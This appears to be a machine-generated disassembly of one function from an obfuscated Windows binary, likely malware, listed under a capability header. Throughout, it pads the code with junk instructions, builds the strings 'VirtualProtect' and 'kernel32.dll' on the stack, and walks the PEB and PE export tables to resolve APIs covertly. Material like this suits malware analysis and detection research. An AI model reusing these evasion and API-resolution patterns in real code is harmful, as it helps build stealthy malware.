Function at 0x409847
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebx
push ecx
add esp, 4
call 0x408893
add byte [edx], dh
cmp eax, 0x4b4c3445
push eax
inc esp
cmp eax, dword [ebx - 0x147efb3c]
push ecx
scasd eax, dword es:[edi]
add byte [eax], al
and ebx, 0x167d2
pop ebx
push edi
or edi, 0x9b1c
xor edi, 0x998f
invalid
cdq
add byte [eax], al
pop edi
lea eax, [ebp - 0x1778]
mov dword [ebp - 0xcb0], eax
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcac], edx
xor eax, eax
mov word [ebp - 0x230], ax
xor ecx, ecx
mov word [ebp - 0x44], cx
push ecx
jmp 0x4088e3
add ecx, 0x2c34
sub ecx, 0x1060
pop ecx
push esi
or esi, 0xbfee
mov edi, 0x7eb0000
add esi, 0xa231
sub esi, 0x14540
pop esi
mov edx, dword [ebp - 0xcac]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xcac]
add ecx, 2
mov dword [ebp - 0xcac], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x230], dx
mov eax, dword [ebp - 0xcb0]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcb0]
add edx, 2
mov dword [ebp - 0xcb0], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x44], ax
push ecx
and ecx, 0x1e92
pop ecx
push esi
or esi, 0x706f
pop esi
push edi
or edi, 0x12521
and edi, 0x3266
pop edi
push esi
and esi, 0x1039
add esi, 0x151ed
and esi, 0xd3a6
pop esi
movzx ecx, word [ebp - 0x44]
test ecx, ecx
jne 0x4089b3
movzx edx, word [ebp - 0x230]
movzx eax, word [ebp - 0x44]
sub edx, eax
mov dword [ebp - 0x15e8], edx
jmp 0x408a0d
movzx ecx, word [ebp - 0x230]
movzx edx, word [ebp - 0x44]
cmp ecx, edx
je 0x4088db
movzx eax, word [ebp - 0x230]
xor eax, 0x20
movzx ecx, word [ebp - 0x44]
cmp eax, ecx
je 0x4088db
movzx edx, word [ebp - 0x230]
movzx eax, word [ebp - 0x44]
cmp edx, eax
jge 0x4089f7
mov dword [ebp - 0x15e4], 0xffffffff
jmp 0x408a01
mov dword [ebp - 0x15e4], 1
mov ecx, dword [ebp - 0x15e4]
mov dword [ebp - 0x15e8], ecx
cmp dword [ebp - 0x15e8], 0
jne 0x408a56
push eax
or eax, 0xe83f
sub eax, 0x1657f
pop eax
push edi
push ebx
add esp, 4
or edi, 0xb8c7
pop edi
push esi
push edx
add esp, 4
and esi, 0x15d56
or esi, 0x14c89
or esi, 0x115fd
pop esi
mov edx, dword [ebp - 0x504]
mov dword [ebp - 0x758], edx
jmp 0x408abe
push edi
add edi, 0x1299c
call 0x408a6a
add byte [edx], dh
aaa
inc edx
dec edx
push eax
inc esp
push eax
add esp, 4
pop edi
push ebx
and ebx, 0xa18d
and ebx, 0xeec6
xor ebx, 0x14c67
and ebx, 0x12d54
pop ebx
mov eax, dword [ebp - 0x504]
mov ecx, dword [eax]
mov dword [ebp - 0x504], ecx
mov edx, dword [ebp - 0x504]
cmp edx, dword [ebp - 0xcb4]
je 0x408ab4
mov eax, dword [ebp - 0x504]
cmp dword [eax + 0x30], 0
jne 0x40887f
mov dword [ebp - 0x758], 0
cmp dword [ebp - 0x758], 0
jne 0x408b08
push esi
push esi
add esp, 4
and esi, 0x140ef
pop esi
push ebx
jmp 0x408ada
xor ebx, 0x3ea5
call 0x408aef
add byte [ecx + 0x4f], al
dec edi
push eax
dec esp
dec eax
inc esp
dec ebp
inc ecx
add esp, 4
add ebx, 0xf33e
pop ebx
mov dword [ebp - 0x7a4], 0
jmp 0x409630
push esi
push edi
add esp, 4
sub esi, 0x50d
xor esi, 0x8ce9
pop esi
push esi
push ecx
add esp, 4
xor esi, 0xb995
and esi, 0xd943
and esi, 0x1057d
pop esi
push ebx
and ebx, 0x166b0
pop ebx
mov ecx, dword [ebp - 0x758]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x408b79
mov ecx, dword [ebp - 0x768]
mov dword [ebp - 0x3e0], ecx
jmp 0x408e6a
mov edx, dword [ebp - 0x15ec]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x15f0], eax
push dword [ebp + 0x11]
mov ecx, dword [ebp - 0x768]
mov dword [ebp - 0x3e0], ecx
jmp 0x408e6a
invalid
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x15f0]
mov edx, dword [ecx + eax + 0x78]
invalid
cmp dword [ebp - 0x3e0], 0
je 0x408f45
push ebx
jmp 0x408e81
call 0x408e8f
add byte [ecx + 0x36], al
cmp dh, byte [edx]
cmp eax, 0x83373e4d
les eax, [ecx + eax*4]
ret
push eax
add eax, 0x93d4
or eax, 0x3be3
xor eax, 0xd037
pop eax
push ecx
push eax
invalid
push edx
push edi
add esp, 4
sub edx, 0x13c7c
pop edx
push esi
and esi, 0xdb1c
jmp 0x409649
sub esi, 0x8437
pop esi
push edx
push edi
add esp, 4
or edx, 0x15f76
xor edx, 0x1770c
pop edx
mov edx, dword [ebp - 0x3fc]
add edx, 0xe
mov dword [ebp - 0x19f0], edx
push edx
push eax
add esp, 4
and edx, 0x16324
pop edx
push ebx
xor ebx, 0xfe53
or ebx, 0xe64
add ebx, 0xe7c8
add ebx, 0x15971
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0x22a2
pop ebx
cmp dword [ebp - 0x3fc], 0
je 0x4096b5
cmp dword [ebp - 0xad8], 0
jne 0x4096fb
push edx
jmp 0x4096bf
add edx, 0x10148
jmp 0x4096cc
and edx, 0x5203
pop edx
push eax
add eax, 0x2c2b
sub eax, 0x34dc
sub eax, 0x1285e
pop eax
mov eax, dword [ebp - 0x7a4]
mov dword [ebp - 0x19a4], eax
push 0
call dword [ebp - 0x19a4]
mov dword [ebp - 0x203c], 0xa
push eax
push edx
add esp, 4
or eax, 0xeda7
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x1617f
add eax, 0xac13
pop eax
push edi
sub edi, 0x10f38
sub edi, 0x5c30
sub edi, 0x7509
pop edi
mov ecx, dword [ebp - 0x3fc]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x3b0], dl
mov eax, dword [ebp - 0xad8]
sub eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x1690], eax
mov dword [ebp - 0xcf8], 0
push edx
and edx, 0xb578
or edx, 0x9340
pop edx
push esi
push edi
add esp, 4
or esi, 0xd877
pop esi
push edi
push ebx
add esp, 4
add edi, 0x8e95
and edi, 0x5eb5
and edi, 0x562
pop edi
mov byte [ebp - 0x9dc], 0x56
mov byte [ebp - 0x9db], 0x69
mov byte [ebp - 0x9da], 0x72
mov byte [ebp - 0x9d9], 0x74
mov byte [ebp - 0x9d8], 0x75
mov byte [ebp - 0x9d7], 0x61
mov byte [ebp - 0x9d6], 0x6c
mov byte [ebp - 0x9d5], 0x50
mov byte [ebp - 0x9d4], 0x72
mov byte [ebp - 0x9d3], 0x6f
mov byte [ebp - 0x9d2], 0x74
mov byte [ebp - 0x9d1], 0x65
mov byte [ebp - 0x9d0], 0x63
mov byte [ebp - 0x9cf], 0x74
mov byte [ebp - 0x9ce], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19a8], ecx
mov edx, dword [ebp - 0x19a8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19ac], eax
mov ecx, dword [ebp - 0x19ac]
mov dword [ebp - 0x1610], ecx
push eax
and eax, 0x14c2c
xor eax, 0x10c91
xor eax, 0x1300f
pop eax
push ecx
call 0x409847
add byte [edx + esi], dh
inc eax
cmp byte [ebx + esi], bh
inc esi
add esp, 4
sub ecx, 0x17f2d
xor ecx, 0x8cc5
pop ecx
cmp dword [ebp - 0x1610], 0
jne 0x40986f
mov dword [ebp - 0x300], 0
jmp 0x409b16
mov edx, dword [ebp - 0x1610]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push ebx
call 0x40988f
add byte [eax + 0x39], cl
inc ebx
dec ebp
dec ebx
aaa
xor al, byte [ebx + 0x575b04c4]
push edi
add esp, 4
or edi, 0x15197
and edi, 0xd722
pop edi
push ecx
sub ecx, 0xdcf
add ecx, 0xc3aa
pop ecx
cmp dword [ebp - 0xcd4], 0
jne 0x4098cb
mov dword [ebp - 0x300], 0
jmp 0x409b16
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x510], edx
push eax
push ecx
add esp, 4
call 0x4098eb
add byte [0x414a4b42], dh
dec edx
dec esp
dec eax
inc ebx
add esp, 4
sub eax, 0x6e1e
pop eax
push edx
xor edx, 0x1853b
jmp 0x409902
and edx, 0x122db
pop edx
lea eax, [ebp - 0x173c]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x238], ax
xor ecx, ecx
mov word [ebp - 0x4c], cx
push esi
and esi, 0x159be
or esi, 0x20bc
add esi, 0x8ec6
and esi, 0x4da3
pop esi
push ebx
push ebx
add esp, 4
add ebx, 0x4dc6
push edx
push eax
add esp, 4
call 0x409b2a
add byte [edx + 0x37], al
xor dh, byte [edx]
dec edx
cmp dword [ebx + 0x41], eax
cmp al, byte [ebx + 0x575a04c4]
sub edi, 0xf58a
or edi, 0x12566
add edi, 0xb5f0
add edi, 0xe82e
pop edi
cmp dword [ebp - 0x300], 0
jne 0x40a41b
mov ecx, 0x6b
mov word [ebp - 0x1794], cx
mov edx, 0x65
mov word [ebp - 0x1792], dx
mov eax, 0x72
mov word [ebp - 0x1790], ax
mov ecx, 0x6e
mov word [ebp - 0x178e], cx
mov edx, 0x65
mov word [ebp - 0x178c], dx
mov eax, 0x6c
mov word [ebp - 0x178a], ax
mov ecx, 0x33
mov word [ebp - 0x1788], cx
mov edx, 0x32
mov word [ebp - 0x1786], dx
mov eax, 0x2e
mov word [ebp - 0x1784], ax
mov ecx, 0x64
mov word [ebp - 0x1782], cx
mov edx, 0x6c
mov word [ebp - 0x1780], dx
mov eax, 0x6c
mov word [ebp - 0x177e], ax
xor ecx, ecx
mov word [ebp - 0x177c], cx
push ecx
and ecx, 0x126a3
xor ecx, 0x15975
pop ecx
push esi
push ecx
add esp, 4
add al, 0x81
out dx, al
pushal
aaa
add dword [eax], eax
call 0x409c16